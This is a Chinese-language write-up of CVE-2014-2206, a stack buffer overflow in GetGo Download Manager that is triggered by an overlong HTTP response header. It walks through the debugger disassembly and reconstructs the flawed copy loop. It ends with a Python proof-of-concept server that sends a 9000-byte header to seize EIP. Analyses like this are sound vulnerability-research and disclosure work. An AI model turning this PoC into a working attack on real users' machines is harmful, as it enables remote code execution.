CVE-2014-2206:远程代码执行漏洞大剖析
DownloadManager,因此如果有读者在使用这款软件话,请务必用一款更安全的软件代替,因为GetGo项目已经不再被支持了,但是其再在cnet.com网站仍然评级依然很高。
本文简单介绍一下该bug的起因,并在打了全部补丁以及启用了DEP保护的Windows 7 64位系统上进行测试:
当向一个网站请求下载时,下载器会读取目标页面返回的HTTP响应头的值,并将该返回值保存到一块固定大小为4097字节的临时缓存中,但该尺寸并没有被用来限制拷贝到这块缓存中的输入的大小,只是将输入内容一个字节一个字节地拷贝到临时缓存中,直到遇到“\r\n”为止。因此如果HTTP响应头的大小超过了4097字节,就会被写到这块内存的界限之外了。
下面我们看一下这款下载器如何处理HTTP下载。
图1
当用户像上图一样请求下载时,调试器跳转到断点0x004A4CF4处,正是包含漏洞的代码部分的入口点:
004A4CDE . 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 004A4CE1 . 51 PUSH ECX ; /Arg3 004A4CE2 . 68 01100000 PUSH 1001 ; |Arg2 = 00001001 004A4CE7 . 8D95 DCEFFFFF LEA EDX,DWORD PTR SS:[EBP-1024] ; | 004A4CED . 52 PUSH EDX ; |Arg1 004A4CEE . 8B8D 9CEFFFFF MOV ECX,DWORD PTR SS:[EBP-1064] ; | 004A4CF4 . E8 77EDFFFF CALL GetGoDM.004A3A70 ; \GetGoDM.004A3A70
该函数包含三个参数,将其转换为相应的c语言风格的函数调用,如下所示:
int vuln_func(void *buffer, size_t arg2, int arg3)
栈内包含三个参数,参数1位于缓存的0x0430C390处,参数2位于0×00001001处,参数3位于0×00000078处,如图2所示:
图2
小提示:本示例中你可以完全忽略参数3,因为该值只是用来表示ws2_32版本的select函数从socket中读取内容时的timeout时间:
图3
这里发生了什么?
在vuln_func()中,第一组重要的指令集为:
004A3A9F |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004A3AA2 |. 50 PUSH EAX 004A3AA3 |. 6A 00 PUSH 0 004A3AA5 |. 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8] 004A3AA8 |. 51 PUSH ECX 004A3AA9 |. E8 F2650400 CALL GetGoDM.004EA0A0
位于0x004A3AA9 的函数使用的三个参数,正是其被调用时,父函数传进来的三个函数。系统将这3个参数压入栈:
0430C2E4 0430C390 | arg1 0430C2E8 00000000 | arg2 0430C2EC 00001001 | arg3
该函数只相当于执行了一个简单的memset函数,因此函数调用如下所示:
void memset(void *arg1, int arg2, size_t arg3)
memset函数的功能很简单,用最多arg3个字节的unsigned char类型的数值(arg2)填充arg1指向的内存中,也就是说,地址0x430C390 指向的缓存空间被4097个0×00填充。
接下来对包含漏洞的代码部分进行分析:
图4
这里需要对漏洞的构成做一些详细解释,因此下文将程序的一个循环分成两部分进行说明:
Part 1 在HTTP响应头中读取一个字节
004A3AE3 |. 8B45 10 |MOV EAX,DWORD PTR SS:[EBP+10] 004A3AE6 |. 50 |PUSH EAX ; /Arg3 004A3AE7 |. 6A 01 |PUSH 1 ; |Arg2 = 00000001 004A3AE9 |. 8B4D F0 |MOV ECX,DWORD PTR SS:[EBP-10] ; | 004A3AEC |. 8B55 08 |MOV EDX,DWORD PTR SS:[EBP+8] ; | 004A3AEF |. 8D440A FF |LEA EAX,DWORD PTR DS:[EDX+ECX-1] ; | 004A3AF3 |. 50 |PUSH EAX ; |Arg1 004A3AF4 |. 8B4D D8 |MOV ECX,DWORD PTR SS:[EBP-28] ; | 004A3AF7 |. 83C1 0C |ADD ECX,0C ; | 004A3AFA |. E8 81A4FFFF |CALL GetGoDM.0049DF80 ; \GetGoDM.0049DF80
地址0x004A3AFA 处的函数调用需要三个参数:
int read_byte(void *buffer, char *arg2, int arg3)
其中第一个参数arg1指向缓存,arg2总是0×00000001,arg3总是0×00000078。该函数从接收到的HTTP响应头中读取一个字节,如果成功,就把读取的值保存到arg1指向的缓存,并返回1。
结尾处的CMP指令用来判断读取是否成功,如果不成功就在0x004A3B0F处跳出循环。
004A3AFF |. 8945 E8 |MOV DWORD PTR SS:[EBP-18],EAX 004A3B02 |. 837D E8 00 |CMP DWORD PTR SS:[EBP-18],0 004A3B06 |. 75 09 |JNZ SHORT GetGoDM.004A3B11 004A3B08 |. C745 EC 000000>|MOV DWORD PTR SS:[EBP-14],0 004A3B0F |. EB 49 |JMP SHORT GetGoDM.004A3B5A
Part 2 对比接收的字符串,直到遇到“\r\n”
图5
004A3B26 |. 6A 00 |PUSH 0 ; /Arg2 = 00000000 004A3B28 |. 68 F8D76600 |PUSH GetGoDM.0066D7F8 ; |Arg1 = 0066D7F8 ASCII " " 004A3B2D |. 8D4D E4 |LEA ECX,DWORD PTR SS:[EBP-1C] ; | 004A3B30 |. E8 2B5AF6FF |CALL GetGoDM.00409560 ; \GetGoDM.00409560
地址0x004A3B30 处的函数调用包含两个参数——参数1包含一个以“\r\n”结尾字符串,参数2总是0×00000000。同时该函数会从栈中读取已经接收的字节,并与“\r\n”进行比较:
0040959E |. 0345 0C ADD EAX,DWORD PTR SS:[EBP+C] ; | 004095A1 |. 50 PUSH EAX ; |Arg1 004095A2 |. E8 79120A00 CALL GetGoDM.004AA820 ; \GetGoDM.004AA820
图6
因此该函数可以构造成如下形式:
signed int search_teminator(*buffer, "\r\n", 0)
如果没有找到“\r\n”,则函数返回-1,并执行以下CMP指令:
004A3B38 |. 837D E0 FF |CMP DWORD PTR SS:[EBP-20],-1 004A3B3C |. 74 11 |JE SHORT GetGoDM.004A3B4F
即函数search_teminator()的返回值与-1比较,就是说如果JMP指令被执行了,表示以下指令也被程序执行了,包括利用JMP指令跳回到这段代码的开始部分:
004A3B4F |> 8B55 F0 |MOV EDX,DWORD PTR SS:[EBP-10] 004A3B52 |. 83C2 01 |ADD EDX,1 004A3B55 |. 8955 F0 |MOV DWORD PTR SS:[EBP-10],EDX 004A3B58 |.^EB 80 \JMP SHORT GetGoDM.004A3ADA
但是如果函数search_terminator()找到“\r\n”,会返回字符串的位置,CMP指令就会返回错误,以下指令就会被执行,并跳出循环:
004A3B3E |. 8B45 08 |MOV EAX,DWORD PTR SS:[EBP+8] 004A3B41 |. 0345 E0 |ADD EAX,DWORD PTR SS:[EBP-20] 004A3B44 |. C600 00 |MOV BYTE PTR DS:[EAX],0 004A3B47 |. 8B4D E0 |MOV ECX,DWORD PTR SS:[EBP-20] 004A3B4A |. 894D EC |MOV DWORD PTR SS:[EBP-14],ECX 004A3B4D |. EB 0B |JMP SHORT GetGoDM.004A3B5A
逆向工程
通过以上分析,可以将包含漏洞的代码转换为类似如下的C代码片段:
int vuln_func(void *buffer, size_t arg2, int arg3) { int a; signed int b; memset(void *buffer, 0, arg2); while (1) { a = read_byte(*buffer, 1 , arg3) if ( !a ) { goto fail; } b = search_terminator(*buffer, "\r\n", 0) if ( b != -1 ) break; } fail: return 0; }
看出其中的问题了吗?表示大小的参数(arg2)被memset函数用来准备内存空间,但while循环中会读取响应头中的所有字节,直到找到“\r\n”为止,完全忽略了arg2。那么,如果攻击者可以构造出多于4097个字节的HTTP响应头,就会导致写入的缓存超过内存的边界,也就构成了基于栈的缓冲区溢出条件,导致远程代码执行。
构造PoC
以下PoC代码创建了一个简单的web服务器,用来响应超出预期大小的HTTP头:
from socket import * from time import sleep host = "192.168.0.1" port = 80 s = socket(AF_INET, SOCK_STREAM) s.bind((host, port)) s.listen(1) print "\n[+] Listening on %d ..." % port cl, addr = s.accept() print "[+] Connection accepted from %s" % addr[0] payload = "\xCC" * 9000 buffer = "HTTP/1.1 200 "+payload+"\r\n" print cl.recv(1000) cl.send(buffer) print "[+] Sending buffer: OK\n" sleep(1) cl.close() s.close()
控制了EIP,就可以随心所欲XXOO了。是不是很爽:-)!
图7